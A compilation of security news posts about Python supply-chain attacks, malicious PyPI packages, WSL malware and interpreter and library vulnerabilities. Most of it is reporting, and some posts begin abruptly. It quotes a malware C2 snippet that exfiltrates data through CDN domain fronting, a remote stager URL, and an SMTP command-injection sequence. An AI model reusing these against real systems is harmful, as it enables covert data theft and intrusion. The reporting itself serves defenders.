Key Insights

• Silent Software Supply Chain Assault: The attackers orchestrated a silent assault on the software supply chain, employing multiple tactics to steal sensitive information from unsuspecting victims. This included the creation of malicious open-source tools with enticing descriptions to lure victims, most of whom were likely redirected from search engines.
• The Use of a Fake Python Mirror: A cornerstone of this campaign was the distribution of a malicious dependency through a counterfeit Python infrastructure, which was linked to popular projects on GitHub and legitimate Python packages. The attackers not only hijacked GitHub accounts to spread malicious Python packages but also engaged in social engineering to amplify their reach.
• A Multi-Stage, Evasive Payload: The attack featured a complex, multi-stage payload designed to harvest valuable data such as passwords and credentials from infected systems before exfiltrating this data to the attackers’ infrastructure. Notably, a fake Python packages mirror was deployed, distributing a poisoned version of the widely-used “colorama” package.

One notable victim shared their experience of encountering suspicious activity related to the “colorama” package, which ultimately led to the realization that they had been hacked. This account underscores the stealth and deceit employed in the campaign, with the attackers leveraging fake Python mirrors and typosquatting to deceive users and spread malware through malicious GitHub repositories.

The Technical Backbone of the Attack

The fake Python mirror, appearing under the domain “files[.]pypihosted[.]org”, mimicked the official Python package mirror, playing a crucial role in the attack’s success. By hosting a tampered version of “colorama” laden with malicious code and utilizing stolen GitHub identities to commit changes to reputable repositories, the attackers showcased a sophisticated understanding of the software supply chain’s vulnerabilities.

Attack Tecniques Used

The attack on the software supply chain leveraging fake Python infrastructure utilized a complex array of techniques to compromise over 170,000 users. Here’s a breakdown of the key attack techniques used:

1. Account Takeover via Stolen Browser Cookies: The attackers gained unauthorized access to GitHub accounts by stealing session cookies. This allowed them to bypass authentication measures and perform malicious activities without the need to know the accounts’ passwords.
2. Malicious Code Contributions with Verified Commits: Utilizing the hijacked accounts, the attackers contributed malicious code to reputable projects. These contributions often appeared as legitimate due to the use of verified commits, making them harder to detect.
3. Setting Up a Custom Python Mirror: A central element of the campaign was the establishment of a counterfeit Python package mirror. This mirror hosted poisoned versions of popular Python packages, including a tampered version of “colorama” that contained malicious code.
4. Publishing Malicious Packages to the PyPi Registry: The attackers published harmful packages to the Python Package Index (PyPi), exploiting the trust within the Python community in this repository. These packages often had clickbait descriptions to attract victims, many of whom were redirected from search engines.
5. Typosquatting and Fake Python Mirror for Package Distribution: The domain “files[.]pypihosted[.]org” was registered as part of the attack, cleverly typosquatting the official Python mirror’s domain to deceive users into downloading malicious packages.
6. Social Engineering to Increase Credibility and Visibility: By taking over reputable GitHub accounts, the attackers were able to star multiple malicious repositories, increasing their visibility and the likelihood of other users trusting and downloading from these sources.
7. Multi-Stage, Evasive Malicious Payload: The attack deployed a multi-stage payload that initially appeared benign but was designed to harvest and exfiltrate valuable data, such as passwords and credentials, from infected systems. This payload was sophisticated, employing obfuscation and evasion techniques to avoid detection.

Each of these techniques demonstrates the attackers’ deep understanding of both social engineering and technical vulnerabilities within the software supply chain. The combination of these methods allowed for a highly effective and damaging attack.

Hosting a Poisoned ‘colorama’

The attackers hosted a poisoned version of “colorama”, a widely used package in the Python community with over 150 million monthly downloads. Here’s how they executed this part of their sophisticated attack:

1. Copying and Modifying “Colorama”: The threat actors started by copying the legitimate “colorama” package and inserting malicious code into it. This code was designed to be part of the package’s functionality, making it difficult to detect without thorough inspection.
2. Concealing the Malicious Code: The harmful payload was concealed within the modified “colorama” package using space-padding. This method pushed the malicious code off-screen in text editors, requiring users to scroll horizontally to discover it. This technique significantly decreased the likelihood of the malicious content being spotted during casual review.
3. Using a Typosquatted Domain for Hosting: The modified, malicious version of “colorama” was hosted on a fake Python mirror. This mirror was accessible via a domain that closely resembled the official Python package hosting service, leveraging typosquatting to deceive users. The domain “files[.]pypihosted[.]org” was used for this purpose, mimicking the legitimate “files.pythonhosted.org”.
4. Distributing the Poisoned Package: To spread the poisoned “colorama”, the attackers manipulated project dependencies. They committed changes to reputable projects on GitHub, modifying the requirements.txt files to include the malicious package version hosted on their fake mirror. This ensured that when the project was installed or updated, the poisoned “colorama” would be downloaded and executed.
5. Evading Detection: The strategic use of a typosquatted domain, along with the method of concealing malicious code within a legitimate package, made this attack particularly evasive. The attackers’ efforts to blend the malicious package into normal dependencies made it challenging for users and automated tools to identify the threat.

By hosting this poisoned “colorama” package on their fake Python infrastructure and linking it to popular projects, the attackers were able to execute a silent supply chain attack, compromising the systems of unsuspecting developers and users. This attack underscores the importance of verifying the sources of software dependencies and the need for vigilance in the face of increasingly sophisticated cyber threats.

The deployment of the malicious package in the attack using the fake Python infrastructure involved a sophisticated multi-stage process. Here’s a breakdown of the stages through which the malicious package, particularly the poisoned “colorama”, was deployed and executed on the victims’ systems:

Stage 1: Initial Download and Execution

• Malicious Repository or Package Download: The unsuspecting user clones a repository or downloads a package that contains a malicious dependency. This dependency points to the poisoned “colorama” package hosted on the attackers’ fake Python mirror (typosquatted domain “files[.]pypihosted.org”).
• Execution of Initial Malicious Code: Upon installation or update, the malicious “colorama” package executes its payload, which includes additional malicious code. This stage sets the foundation for further exploitation.

Stage 2: Malicious Code Activation

• Identical Code with Malicious Snippet: The “colorama” package contains code identical to the legitimate version, with the exception of a short malicious snippet. This snippet was initially located within a seemingly innocuous file but was strategically placed to ensure execution.
• Obfuscation and Execution of Further Malicious Code: The attacker used significant whitespace to push the malicious code off-screen in text editors, requiring horizontal scrolling for discovery. This code, once executed, fetches another piece of Python code from a remote server, which installs necessary libraries and decrypts hard-coded data.

Stage 3: Payload Delivery

• Fetching Additional Obfuscated Python Code: The malware progresses to fetch more obfuscated Python code from another external link. This code is then executed using Python’s “exec” function, initiating the next phase of the attack.

Stage 4: System Compromise and Data Harvesting

• Advanced Obfuscation Techniques: Techniques such as the use of non-English character strings, compression, and misleading variable names complicate the analysis and understanding of the code.
• Deployment of Final Malicious Payload: The code checks the compromised host’s operating system, selects a random folder and file name for the final malicious Python code, and retrieves it from a remote server.
• Persistence Mechanism: The malware modifies the Windows registry to create a new run key, ensuring that the malicious code is executed every time the system restarts. This allows the malware to maintain its presence on the compromised system.

Stage 5: Data Exfiltration

• Broad Data-Stealing Capabilities: The final payload reveals the malware’s ability to target a wide range of applications and steal sensitive information. This includes data from web browsers, Discord, cryptocurrency wallets, Telegram sessions, and more.
• Keylogging and File Stealing: A keylogging component captures the victim’s keystrokes, and a file stealer searches for files with specific keywords, targeting directories like Desktop and Downloads.
• Exfiltration to Attacker’s Server: The stolen data, along with files compressed into ZIP files, are uploaded to the attacker’s server. Various techniques, including anonymous file-sharing services and direct HTTP requests, are used for data exfiltration.

These stages illustrate the meticulous planning and execution of the attack, showcasing the attackers’ technical sophistication and understanding of both software dependencies and human behavior. The multi-stage approach not only facilitated the deployment of the malicious payload but also helped in evading detection, making the attack particularly damaging.

The attack involving the fake Python infrastructure and the poisoned “colorama” package also saw the publication of several other malicious packages to the Python Package Index (PyPI). These packages were part of the attackers’ strategy to distribute malware through the Python package ecosystem. Below is a list of some of the packages involved in this campaign, along with their version numbers and the usernames of the publishers:

• jzyrljroxlca Version 0.3.2, published by user pypi/xotifol394 on 21-Jul-23
• wkqubsxekbxn Version 0.3.2, published by user pypi/xotifol394 on 21-Jul-23
• eoerbisjxqyv Version 0.3.2, published by user pypi/xotifol394 on 21-Jul-23
• lyfamdorksgb Version 0.3.2, published by user pypi/xotifol394 on 21-Jul-23
• hnuhfyzumkmo Version 0.3.2, published by user pypi/xotifol394 on 21-Jul-23
• hbcxuypphrnk Version 0.3.2, published by user pypi/xotifol394 on 20-Jul-23
• dcrywkqddo Version 0.4.3, published by user pypi/xotifol394 on 20-Jul-23
• mjpoytwngddh Version 0.3.2, published by user pypi/poyon95014 on 21-Jul-23
• eeajhjmclakf Version 0.3.2, published by user pypi/tiles77583 on 21-Jul-23
• yocolor Version 0.4.6, published by user pypi/felpes on 05-Mar-24
• coloriv Version 3.2, published by user pypi/felpes on 22-Nov-22
• colors-it Version 2.1.3, published by user pypi/felpes on 17-Nov-22
• pylo-color Version 1.0.3, published by user pypi/felpes on 15-Nov-22
• type-color Version 0.4, published by user felipefelpes on 01-Nov-22

These packages, including variations of the “colorama” package and others with obscure or clickbait names, were part of a broader strategy to distribute malware. The attackers employed these packages as vectors for delivering malicious code to unsuspecting victims’ systems, exploiting the trust placed in the PyPI ecosystem and the routine use of these packages in Python projects.

This list provides a snapshot of the malicious packages published by the attackers, illustrating the scale and diversity of their efforts to infiltrate the software supply chain. Users and developers are urged to exercise caution and perform thorough vetting before incorporating third-party packages into their projects.

This campaign exemplifies the advanced strategies malicious actors adopt to infiltrate and compromise trusted platforms like PyPI and GitHub. It serves as a stark reminder of the necessity for diligence when installing packages and repositories, even from seemingly reliable sources. Vigilance, thorough vetting of dependencies, and the maintenance of robust security measures are paramount in mitigating the risks posed by such sophisticated attacks.

The post Major Python Infrastructure Breach – Over 170K Users Compromised. How Safe Is Your Code? appeared first on Information Security Newspaper | Hacking News.

As reported just a few hours ago, the package received an update version identified as v0.2.6, which attracted attention because ctx Python had not received updates in 8 years.

After the update was reflected in the GitHub repository, some researchers began analyzing the code, finding some exciting features:

This code is specially crafted for when creating a dictionary; all its environment variables are sent to a URL of the Heroku application under attackers’ control.

Experts consider this a clear sign that the current version of the package has been manipulated for malicious purposes and should not be used.

Other versions of a ‘phpass’ fork, published in the Packagist repository, were also manipulated to add this malicious code. PHPass has reportedly been downloaded about 2.5 million times.

According to security researcher Somdev Sangwan, the insertion of this backdoor could be aimed at extracting access credentials for Amazon Web Services (AWS).

The malicious version was released on May 14, so users who installed the package before that date are employing the original version (v0.1.2) and will not be affected by this issue. On the other hand, any installation of ctx Python after May 14 could include malicious code.

About the attack method, specialists mention that the domain name of the original maintainers of ctx Python expired, which would have allowed the attackers to register it again and take control of this package, adding the malicious payload for later distribution.

The official page of the ctx Python project in PyPI has been removed, showing the error ‘Not Found’ to visitors.

Feel free to access the International Institute of Cyber Security (IICS) websites to learn more about information security risks, malware variants, vulnerabilities, and information technologies.

The post Popular Python package ctx Python and PHP library were compromised and injected with a backdoor appeared first on Information Security Newspaper | Hacking News.

According to the report, the flaws lie in the following developments:

• Flask, a micro web framework written in Python
• Video.js, an HTML5 video player
• Belledonne, a free VOIP and IP video calling platform
• Nagios XI, for monitoring networks and servers
• Clearance, for Ruby password authentication

As you may recall, URL parsing is the process of splitting the different components of a web address to properly route traffic through different links or to different servers. URL parsing libraries are imported into applications to fulfill this function and are available in various programming languages.

The components of a URL are known as schema, authority, path, query and fragments, which fulfill certain functions for their correct operation.

In their research, the experts found that flaws exist because of differences in the way each library performs this analysis. According to the report, the flaws reside in the following URL parsing libraries:

• urllib (Python)
• urllib3 (Python)
• rfc3986 (Python)
• httptools (Python)
• curl lib (cURL)
• Wget
• Chrome
• Uri (.NET)
• URL (Java)
• URI (Java)
• parse_url (PHP)
• url (NodeJS)
• url-parse (NodeJS)
• net/url (Go)
• uri (Ruby)
• URI (Perl)

The analysis revealed a total of eight critical vulnerabilities in third-party web applications using these libraries. At the time of writing, all flaws had been addressed, except for those residing in versions of Flask that have ceased to receive support. The following describes the flaws detected:

• CVE-2021-23385: Open redirection in Flask-security (Python)
• CVE-2021-32618: Open redirection in Flask-security-too (Python)
• CVE-2021-23401: Open redirection in Flask-User (Python)
• CVE-2021-23393: Open redirect triggered in Flask (Python)
• CVE-2021-33056: Denial of Service (DoS) in Belledonne SIP Stack (C)
• CVE-2021-23414: Cross-site script (XSS) error in Video.js (JavaScript)
• CVE-2021-37352: Open redirection in Nagios XI (PHP)
• CVE-2021-23435: Open Authorization Redirection (Ruby)

Although these are all the flaws reported in this research, experts mention that the appearance of many other security flaws should not be ruled out, including server-side request forgery (SSRF) bugs and open redirection flaws, which would allow the deployment of sophisticated phishing campaigns and other hacking variants.

Users of affected deployments should carefully analyze all potential risks when using the affected URL parsing libraries, in order to configure the necessary security measures to prevent malicious exploitation of these errors.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post Eight vulnerabilities in 16 URL parsing libraries written in C, JavaScript, PHP, Python and Ruby; hackers could deploy DoS and RCE attacks against thousands of web applications appeared first on Information Security Newspaper | Hacking News.

The list of malicious packages detected in this research is shown below:

• importantpackage / important-package
• pptest
• ipboards
• owlmoon
• DiscordSafety
• trrfab
• 10Cent10/10Cent11
• yandex-yt
• yiffparty

Among these packages, experts note that “importantpackage”,” “10Cent10” and “10Cent11” seem to establish an inverse layer on the compromised machine. In addition, “importantpackage” abuses the TLS CDN termination for data theft, in addition to using Fastly CDN to hide malicious communications with the C&C server.

According to the report, the communication code for this malware is:

url = “https://pypi.python.org” + “/images” + “?” + “guid=” + b64_payload

r = request.Request(url, headers = {‘Host’: “psec.forward.io.global.prod.fastly.net”})

The researchers note that this code causes an HTTPS request to be sent to pypi.python.org which is subsequently redirected by the CDN as an HTTP request to the C2 server psec.forward.io.global.prod.fastly.net.

The dependency confusion technique involves loading contaminated components that have the same name as legitimate internal private packages, but with a higher version and uploaded to public repositories. This technique is really good for tricking package managers into downloading and installing malicious modules.

The researchers conclude by mentioning that while this is an attack similar to other hacking techniques, it does give threat actors a way to act stealthily, plus it could function as the prelude to subsequent attacks.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post Researchers find 11 malicious Python packages in the PyPI repository that can steal access tokens, passwords and create backdoors appeared first on Information Security Newspaper | Hacking News.

While the cybersecurity community had only theorized some potential problems, it wasn’t until experts at Black Lotus Labs published their latest research that the actual existence of severe security risks at WSL was confirmed. In their report, the experts mention having found a number of unusual ELF files, compiled for Debian Linux and written in Python 3 that become an ELF executable with PyInstaller.

According to the report, Python code acts as a loader by using multiple Windows APIs, allowing retrieval of a remote file and then injection into a running process. This technique would allow threat actors to meddle in the affected system by evading detection. As if that were not enough, the scan in VirusTotal confirms the difficulty of detection, since endpoint agents for Windows systems cannot detect ELF files.

The researchers detected two possible scenarios for the use of malicious ELF file uploaders: the first was written only in Python, while the second variant uses Python primarily to call various Windows APIs using ctypes and invoke a PowerShell script. Experts believe that the PowerShell variant is still under development, although this is a viable approach as it allows the creation of a proof of concept (PoC) that called the Windows API from the WSL subsystem.

Variant written in Python

This appears to be the first iteration of the ELF loader file. A notable feature is that this loader uses standard Python libraries, so it is compatible to run on both Linux and Windows machines. Experts ran a test sample in which the script displays the Russian characters “Пивет Саня”. All associated files contained private or non-routable IP addresses, except for one.

That sample contained a public IP address (185.63.90.137) and a loader file written in Python and converted into an executable via PyInstaller. This file attempts to allocate memory from the machines to later create a new process and inject a resource that was stored on a remote server in hxxp://185.63.90.137:1338/stagers/l5l.py. The file was already offline, indicating that threat actors left this address in a previous test or attack.

WSL variant with PowerShell

According to experts, some samples used PowerShell to inject and execute shell code, while others used Python ctypes to resolve Windows APIs. In a PowerShell sample, compiled Python called three functions: kill_av(), reverseshell(), and windowspersistance().

The kill_av() feature removes suspicious antivirus products and other scanning tools using os.popen(). The reverseshell() function starts a thread to run a Base64-encoded PowerShell script every 20 seconds within an infinite while true loop, blocking the execution of any other function; Finally, windowspersistence() copies the original ELF file to the appdata folder named payload.exe and uses a thread to add a registry execution key for persistence.

As you can see, threat actors are always trying to take advantage of new attack surfaces, so Black Lotus researchers recommend users with WSL enabled to make sure they properly register their resources to detect these types of threats.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post New malware can infect Windows and Linux devices; 70 different VirusTotal antvirus can’t detect it appeared first on Information Security Newspaper | Hacking News.

Tracked as CVE-2021-32749, the fault resides in the mail-whois send action and exists due to incorrect input validation. Remote threat actors might send specially crafted requests to the target system in order to execute remote code arbitrarily.

The vulnerability received a score of 8.5/10 according to the Common Vulnerability Scoring System (CVSS) scale and its exploitation would allow threat actors to completely compromise the affected system.

This flaw was detected in the following versions of Fail2ban: 0.9.0, 0.9.1, 0.9.2, 0.9.3, 0.9.4, 0.9.5, 0.9.6, 0.9.7, 0.10.0, 0.10.1, 0.10.2, 0.10.3, 0.10.3.1, 0.10.4, 0.10.5, 0.10.6, 0.11.1, and 0.11.2.

Although this vulnerability could be exploited by remote threat actors through the submission of specially crafted requests, researchers have not detected any active exploit attempts or the existence of a malware variant associated with the attack.

Fail2ban developers recommend users of vulnerable deployments update as soon as possible. Patches that address this flaw are now available. To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post Critical remote code execution vulnerability in Fail2ban. Protect your servers appeared first on Information Security Newspaper | Hacking News.

A couple of months ago, reports were filed on a critical IP validation vulnerability in the network mask library used by thousands of applications. Tracked as CVE-2021-28918, this flaw exists in the npm and Perl versions of the network mask and other similar libraries.

The most recent report indicates that the ipaddress standard library introduced in Python 3.3 is also affected by this failure. According to the researchers responsible for the finding, the vulnerability exists due to incorrect ip address analysis by the affected library. As some will already know, the ipaddress module provides Python developers with various functions to easily create IP addresses, networks, and interfaces.

The IPv4 address can be presented in multiple formats (integers, decimals, hexadecimal, or octals), although it is usually presented in decimal format. Suppose you receive an IP address in decimal format, 127.0.0.1, which is widely understood as the local or localhost loopback address.

If you had to prefix a 0, should an application analyze it as 0127.0.0.1 or as 127.0.0.1? By analyzing the BleepingComputer platform website, you can type 0127.0.0.1 in the Chrome address bar, which the browser will try to complete as an IP address in octal format. Pressing Enter changes the IP to its decimal equivalent (87.0.0.1), which is how most applications assume to handle this type of IP address.

According to the original specification, for ambiguous IP addresses, parts of an IPv4 address can be interpreted as octal if they have the prefix “0”; however, in the case of the IP address of the standard Python library, the leading zeros will simply be removed. A proof of concept shows that the Python IP address library would simply discard the zeros at startup. To put it another way, when parsed using the Python ipaddress module, ‘010.8.8.8’ would be treated as ’10 .8.8.8′, instead of ‘8.8.8.8’.

“Incorrect input validation of octal strings in Python 3.8.0 to v3.10 stdlib ipaddress allows threat actors to perform Man-in-The-Middle (MiTM) attacks, request forgery, among other attack variants,” the investigation notes.

Although the ipaddress module was introduced in Python 3.3, this regression error was introduced in the module from Python version 3.8.0 through 3.10. Multiple options for temporary risk mitigation have been published on the project’s official platforms. To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.

The post IP address validation flaw also affects Python projects appeared first on Information Security Newspaper | Hacking News.

Have you ever imagine running python code on Windows without installing python. There are always situations where during penetration testing you get into a device under test, which does not have python installed. If that device is not installed with python, then here comes the solution for you.

When there is no python installed on the system then you can embed the python into C# portable executable file, then the user can run python code. We show you step by step process to run python without installing python on Windows machine.

Environment

OS: Windows 10, x64 with Visual Studio 2015 installed

Steps to follow

• On Windows machine, download code from github repo.
• After downloading compile the code with VS2015 as shown below:

• After compiling, now is the time to test the some python code.
• Go to the compiled binary path and run the python code, as shown below:

• Now you can run any python code using Zolom.exe

Conclusion

So we saw on how easy is to run python code without python on the system. There are many uses on this, in the penetration testing phases.

The post Running Python Code, Without Python Installed on the System appeared first on Information Security Newspaper | Hacking News.

Below is a brief description of the reported vulnerability, in addition to its respective score and tracking key according to the Common Vulnerability Scoring System (CVSS).

Tracked as CVE-2020-14422, this vulnerability exists because the application incorrectly calculates hash values in the IPv4Interface and IPv6Interface classes within Lib/ipaddress.py in Python, which would allow remote hackers to deploy DoS attacks.

Threat actors can trigger the resource algorithm to perform the DoS attack if an application is affected by the performance of a dictionary that contains IPv4Interface or IPv6Interface objects, generating multiple dictionary entries, the experts of a pentest company.

The vulnerability received a score of 6.3/10 on the CVSS scale, so it is considered a medium security flaw. The flaw resides in the following Python versions: 3.8.0, 3.8.1, 3.8.2, and 3.8.3.

Although the vulnerability can be exploited by unauthenticated remote hackers over the network, experts from a pentest company have not yet detected cases of active exploitation. Researchers have also not detected the finding of any malware variant linked to this attack. The bad news is that there is no patch to fully mitigate the risk of exploitation.

For further reports on vulnerabilities, exploits, malware variants and computer security risks, it is recommended to enter the website of the International Institute of Cyber Security (IICS), as well as the official platforms of technology companies.

The post Zero-day vulnerability in Python allows DOS attack: No patch available appeared first on Information Security Newspaper | Hacking News.

It is worth mentioning that this library is used throughout the whole Python ecosystem, with more than 200 packages, including the most popular ones such as requests, selenium, kubernetes, among others. Given its broad capabilities, most users of one of the Python projects are most likely using Urllib3.

In the vulnerable version (1.25.2), logic was added to util/url.py to encode percent invalid characters in the request target. The method _encode_invalid_chars, as written, contains all the matches of percentage encodings, mention the participants of the hacking course.

For a URL of a certain length, the size value of percent_encoding corresponds to a linear runtime. The next step (normalize existing percentage encoded bytes) also requires a linear runtime for each percentage encoding. A threat actor could abuse this inefficiency to consume the processing resources of a target system, which would lead to the DoS condition, which could extend to undetermined periods.

The report was presented to the developers of the exposed library, who in turn recognized the presence of the flaw and rushed to release version 1.25.8, in which the DoS vulnerability has been fully mitigated.  

As already mentioned, this is a widely used library in Python projects, so members of the hacking course recommend developers check if their projects use the vulnerable version of Urllib3. Many Python packages rely on Urllib3, so the vulnerability is likely to be present in projects as an indirect dependency, so it will not be possible for developers to install updates, depending on the dependency on higher level.

For more information on recently encountered security flaws, exploits, cyberattacks, and malware analysis, you can visit the official website of the International Institute of Cyber Security (IICS), as well as the official sites of tech companies.

The post Python applications and projects using Urllib3 have a vulnerability that allows DoS attacks appeared first on Information Security Newspaper | Hacking News.

Even software that has been built with secure development procedures may still be vulnerable to attack, due to flaws in the interpreted programming languages they depend on.

IOActive researcher Fernando Arnaboldi revealed at last week’s Black Hat Europe conference that serious flaws in interpreters for five popular programming languages put applications parsed by them at risk.

Arnaboldi found, for example, that Python has “undocumented methods and local environment variables that can be used for OS command execution”.

NodeJS, a JavaScript interpreter, meanwhile could leak file contents through error messages it outputs, while JRuby, the Java implementation of Ruby, “loads and executes remote code on a function not designed for remote code execution”.

For Perl, Arnaboldi cites the ability of its typemaps function, included in its default set of modules, to execute code. While in PHP, certain native functions can be passed a constant’s name to perform a remote command execution.

He believes these vulnerabilities may have been caused by attempts to simplify software development.

“The vulnerabilities ultimately impact regular applications parsed by the affected interpreters; however, the fixes should be applied to the interpreters,” he noted.

“With regards to the interpreted programming languages vulnerabilities, software developers may unknowingly include code in an application that can be used in a way that the designer did not foresee. Some of these behaviors pose a security risk to applications that were securely developed according to guidelines,” wrote Arnaboldi.

The researcher discovered the flaws using the XDiFF, a ‘differential fuzzer’ he created and targeted at several interpreters for different languages.

For JavaScript, targets included Google’s v8 JavaScript engine, and Microsoft’s ChakraCore equivalent, Mozilla’s SpiderMonkey, and NodeJS, and Node-ChakraCore.

In PHP, he fuzzed PHP and HHVM, while for Ruby the targets included Ruby and JRuby. He also fuzzed Perl, ActivePerl, CPython, PyPy, and Jython.

As he’s previously pointed out, the research shows that applications can suffer from security issues when using certain features from programming languages.

“There are a number of possibilities to be abused in different implementations that could affect secure applications. There are unexpected scenarios for the interpreted programming languages parsing the code in JavaScript, Perl, PHP, Python and Ruby,” Arnaboldi wrote.

Source:https://www.zdnet.com/article/these-five-programming-languages-have-flaws-that-expose-apps-to-attack/

The post These five programming languages have flaws that expose apps to attack appeared first on Information Security Newspaper | Hacking News.

Stop us if you’ve heard this one: Java and Python have a bug you can exploit to cross firewalls. Since neither are yet patched, it might be a good day to nag your developers for a bit.

The Java vulnerability means protocol injection through its FTP implementation can fool a firewall into allowing TCP connections from the Internet to hosts on the inside.

That’s explained in rather more detail in two documents: this, by Alexander Klink, and this, by Blindspot Security’s Timothy Morgan.

Klink’s discovery was that Java’s XML eXternal Entity (XEE) mishandles FTP connections, because it doesn’t syntax-check the username Java passes to a server.

Specifically, cr and lf should be rejected but aren’t, allowing non-FTP commands to be injected into a connection request. Klink’s demonstration showed how to send an SMTP e-mail in an FTP connection attempt (even though the FTP connection failed).

EHLO a<CR><LF>

MAIL FROM:<a@example.org><CR><LF>

RCPT TO:<alech@alech.de><CR><LF>

DATA<CR><LF>

From: a@example.org<LF>

To: alech@alech.de<LF>

Subject: test<LF>

<LF>

test!<LF><CR><LF>

.<CR><LF>

QUIT<CR><LF>

It gets worse

Klink concluded that “this attack is particularly interesting in a scenario where you can reach an (unrestricted, maybe not even spam- or malware-filtering) internal mail server from the machine doing the XML parsing.”

Morgan’s contribution was the realisation that the same behaviour can get an attacker through a firewall on its high ports (from 1024 to 65535), in a multi-stage process:

1. Get an internal IP address – this, Morgan says, is easy: “send a URL, see how the client behaves, then try another until the attack is successful”; and
2. Packet alignment – this is the “secret sauce” that makes the attack work. FTP is synchronous, meaning each side waits for a response to each individual line they send. If you get this wrong, the attack fails.

Morgan says he’s holding back publication of a proof-of-concept script until Oracle (and Python’s developers – more on this below) respond to the disclosure.

However, he envisages his exploit can be used for MITM attacks, server-side request forgery, an XEE attack and more – and once past the firewall, desktop hosts can be attacked even if they don’t have Java installed.

Python, he writes, is similarly vulnerable through its urllib and urllib2 libraries, however “this injection appears to be limited to attacks via directory names specified in the URL”.

By way of mitigation, Morgan suggests disabling Java on desktops and in browsers; and disabling “classic mode” FTP on all firewalls.

Source:https://www.theregister.co.uk/

The post Java and Python have unpatched firewall-crossing FTP SNAFU appeared first on Information Security Newspaper | Hacking News.